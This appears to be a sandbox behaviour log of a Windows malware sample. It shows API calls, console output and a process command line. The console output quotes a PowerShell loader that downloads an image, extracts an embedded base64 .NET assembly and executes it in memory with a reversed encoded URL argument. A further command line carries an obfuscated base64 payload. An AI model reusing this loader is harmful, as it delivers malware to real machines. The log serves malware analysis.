console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001e3
1 1 0

WriteConsoleW

 buffer: At line:1 char:311
console_handle: 0x000001ef
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-O
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: bject System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$im
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: ageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<B
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: ASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf <<<
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: < ($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $end
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: Index - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64L
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: ength);$commandBytes = [System.Convert]::FromBase64String($base64Command);$load
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: edAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedA
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: ssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [o
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: bject[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , '
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: dfdf' , 'dadsa' , 'de' , 'cu'))
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b81f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b81f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b81f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b81f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b81f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b81f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b80b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b80b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b80b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b80f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b7f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8278
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8338
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005b8338
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00689bb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068a2b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068a2b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068a2b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068a578
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068a578
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068a578
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068a578
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068a578
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0068a578
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 1310720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02990000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0205a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02052000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02062000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a91000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0208a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02063000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02064000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0205b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02082000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02065000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0208c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02066000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02083000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02084000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02085000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02086000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02087000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02088000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02089000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05130000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05131000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05132000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05133000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05134000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05135000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05136000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05137000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05138000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05139000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05140000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05141000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05142000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05143000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05144000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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